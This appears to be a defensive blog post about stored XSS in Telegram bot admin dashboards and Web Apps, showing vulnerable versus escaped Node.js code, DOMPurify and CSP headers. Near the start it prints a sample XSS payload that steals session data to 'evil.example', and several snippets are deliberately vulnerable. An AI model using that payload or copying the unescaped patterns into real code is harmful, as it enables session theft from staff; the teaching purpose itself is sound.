Telegram bots feel deceptively safe.

A lot of developers assume the chat interface somehow neutralizes frontend risk. It doesn’t. The bot itself may only send messages, but the moment you render Telegram-controlled content inside a browser, an admin dashboard, a support console, or a Telegram Web App, you’re back in classic XSS territory.

I’ve seen this pattern more than once: the bot is harmless, the backend is simple, and then someone builds a quick “internal” moderation UI that injects chat messages into innerHTML. That internal tool becomes the easiest path to account takeover.

Why Telegram bots are exposed to XSS

Telegram bots process untrusted input from users:

  • message text
  • usernames
  • first names and last names
  • inline query text
  • callback data
  • captions
  • profile bios exposed through integrations
  • data passed into Telegram Web Apps

The Telegram Bot API is not an HTML sanitizer. It transports data. If your app later places that data into a webpage unsafely, you own the XSS bug.

There are usually three places where XSS appears in bot ecosystems:

  1. Admin dashboards that display messages sent to the bot
  2. Support/operator panels used by staff
  3. Telegram Web Apps opened inside Telegram clients

The bot chat itself is not usually where browser XSS executes. The bug lands when your own web UI renders attacker-controlled bot data.

A realistic vulnerable flow

Say you run a support bot. Users send messages to Telegram, your bot stores them, and agents review them in a web dashboard.

A malicious user sends:

<img src=x onerror="fetch('/api/session').then(r=>r.text()).then(x=>location='https://evil.example/steal?d='+encodeURIComponent(x))">

Your Node.js bot stores it:

bot.on('message', async (msg) => {
  await db.messages.insert({
    telegramUserId: msg.from.id,
    username: msg.from.username || '',
    firstName: msg.from.first_name || '',
    text: msg.text || '',
    createdAt: new Date()
  });
});

So far, nothing bad happened.

Then your admin panel renders it like this:

app.get('/admin/messages', async (req, res) => {
  const messages = await db.messages.findAll();

  const rows = messages.map(m => `
    <tr>
      <td>${m.username}</td>
      <td>${m.firstName}</td>
      <td>${m.text}</td>
    </tr>
  `).join('');

  res.send(`
    <html>
      <body>
        <table>${rows}</table>
      </body>
    </html>
  `);
});

That is stored XSS. The payload runs in your staff member’s browser, with access to their session and anything the dashboard exposes.

Telegram formatting is not a sanitizer

Telegram supports formatting modes like Markdown and HTML in bot messages. This confuses people.

If you send bot messages with parse_mode: 'HTML', Telegram allows a limited markup subset for message rendering inside Telegram. That does not mean user input is safe to reuse in your own HTML pages.

Bad pattern:

bot.sendMessage(chatId, `User said: ${msg.text}`, { parse_mode: 'HTML' });

If msg.text contains <b>hello</b>, you may get weird rendering issues or injection into Telegram-supported tags. You should escape before inserting into formatted messages too.

A simple escape helper for Telegram HTML mode:

function escapeTelegramHtml(input = '') {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;');
}

bot.on('message', (msg) => {
  const safeText = escapeTelegramHtml(msg.text || '');
  bot.sendMessage(
    msg.chat.id,
    `You said: <code>${safeText}</code>`,
    { parse_mode: 'HTML' }
  );
});

That protects the Telegram message formatting layer. It does not replace output encoding in your web dashboard.

The fix: context-aware output encoding

If you render Telegram-originated data into HTML, escape it for the exact output context.

For plain HTML text nodes:

function escapeHtml(input = '') {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Safer dashboard:

app.get('/admin/messages', async (req, res) => {
  const messages = await db.messages.findAll();

  const rows = messages.map(m => `
    <tr>
      <td>${escapeHtml(m.username)}</td>
      <td>${escapeHtml(m.firstName)}</td>
      <td>${escapeHtml(m.text)}</td>
    </tr>
  `).join('');

  res.send(`
    <html>
      <body>
        <table>${rows}</table>
      </body>
    </html>
  `);
});

Even better, stop building HTML with string concatenation. Use a templating engine that escapes by default.

Example with Nunjucks:

const nunjucks = require('nunjucks');
nunjucks.configure('views', { autoescape: true, express: app });

app.get('/admin/messages', async (req, res) => {
  const messages = await db.messages.findAll();
  res.render('messages.njk', { messages });
});

Template:

<table>
  {% for m in messages %}
    <tr>
      <td>{{ m.username }}</td>
      <td>{{ m.firstName }}</td>
      <td>{{ m.text }}</td>
    </tr>
  {% endfor %}
</table>

Autoescaping should be your default. Turning it off for convenience is how these bugs creep in.

The most common frontend bug: innerHTML

If your admin UI is client-rendered, the usual mistake is this:

async function loadMessages() {
  const res = await fetch('/api/messages');
  const messages = await res.json();

  document.querySelector('#messages').innerHTML = messages.map(m => `
    <li>
      <strong>${m.username}</strong>: ${m.text}
    </li>
  `).join('');
}

That is XSS if username or text contains HTML.

Use DOM APIs and textContent:

async function loadMessages() {
  const res = await fetch('/api/messages');
  const messages = await res.json();

  const list = document.querySelector('#messages');
  list.innerHTML = '';

  for (const m of messages) {
    const li = document.createElement('li');

    const strong = document.createElement('strong');
    strong.textContent = m.username;

    li.appendChild(strong);
    li.appendChild(document.createTextNode(`: ${m.text}`));

    list.appendChild(li);
  }
}

If you genuinely need rich HTML, sanitize it with a library like DOMPurify before insertion.

import DOMPurify from 'dompurify';

const safe = DOMPurify.sanitize(untrustedHtml);
container.innerHTML = safe;

My rule is simple: if the content came from Telegram users, I treat it as hostile until the final rendering step proves otherwise.

Telegram Web Apps raise the stakes

Telegram Web Apps are full browser applications launched from Telegram. They often receive user-linked context and interact with your backend. That means classic browser XSS matters even more.

A vulnerable example:

const params = new URLSearchParams(location.search);
const name = params.get('name');

document.getElementById('welcome').innerHTML = `Welcome ${name}`;

An attacker who can influence that parameter gets script execution.

Safe version:

const params = new URLSearchParams(location.search);
const name = params.get('name') || '';

document.getElementById('welcome').textContent = `Welcome ${name}`;

For Web Apps, deploy a real Content Security Policy too. CSP won’t fix unsafe DOM code, but it limits damage and blocks a lot of lazy payloads. If you need help designing one, csp-guide.com is a solid reference.

Don’t trust usernames, even from Telegram

Developers often sanitize message bodies and forget metadata.

This is a mistake.

Fields like these are attacker-controlled enough to be dangerous in UI rendering:

  • first_name
  • last_name
  • username
  • bio if imported elsewhere
  • inline query text
  • button labels if built from user data

A payload in a “display name” is often more effective than one in a message because staff are trained to inspect messages, not names.

Server-side validation helps, but it’s not the main defense

You can reject obvious garbage on input:

function normalizeMessageText(text = '') {
  return text.slice(0, 4000);
}

And maybe strip dangerous content from fields that should never contain markup:

function stripAngleBrackets(text = '') {
  return text.replace(/[<>]/g, '');
}

But input filtering is not enough. Attackers bypass blacklists constantly. The real control is safe output handling.

Store raw data if you need audit fidelity. Escape or sanitize when rendering.

Add CSP and useful security headers

For admin dashboards and Web Apps, add a strict CSP and baseline headers. If you want to verify what your site is actually sending, I like using HeaderTest as a quick sanity check.

A basic Express setup with Helmet:

const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:"],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      objectSrc: ["'none'"]
    }
  }
}));

A few opinions from experience:

  • script-src 'self' is the baseline
  • avoid inline scripts if you can
  • object-src 'none' should be everywhere
  • frame-ancestors 'none' makes sense for most internal admin tools
  • CSP is a backup layer, not a license to keep using innerHTML

A safer end-to-end bot stack

If I were building a Telegram bot with a web dashboard today, I’d use this checklist:

  1. Treat all Telegram data as untrusted
  2. Escape HTML on server-rendered pages
  3. Use textContent, not innerHTML, on the frontend
  4. Sanitize only when rich HTML is genuinely required
  5. Use templates with autoescaping
  6. Deploy CSP and standard security headers
  7. Review internal tools with the same rigor as public apps

That last one matters. Internal bot consoles are usually the weakest link because they’re rushed, under-reviewed, and full of privileged sessions.

Final vulnerable vs safe example

Vulnerable:

app.get('/admin/user/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);

  res.send(`
    <h1>${user.firstName}</h1>
    <p>@${user.username}</p>
    <div>${user.latestMessage}</div>
  `);
});

Safe:

app.get('/admin/user/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);

  res.send(`
    <h1>${escapeHtml(user.firstName)}</h1>
    <p>@${escapeHtml(user.username)}</p>
    <div>${escapeHtml(user.latestMessage)}</div>
  `);
});

That’s not glamorous security work, but it’s the difference between “support dashboard” and “attacker-controlled JavaScript execution panel.”

Telegram bots don’t magically create XSS. Developers do, usually by forgetting that chat data eventually lands in a browser. If your bot has any web surface around it, that’s where you need to be strict.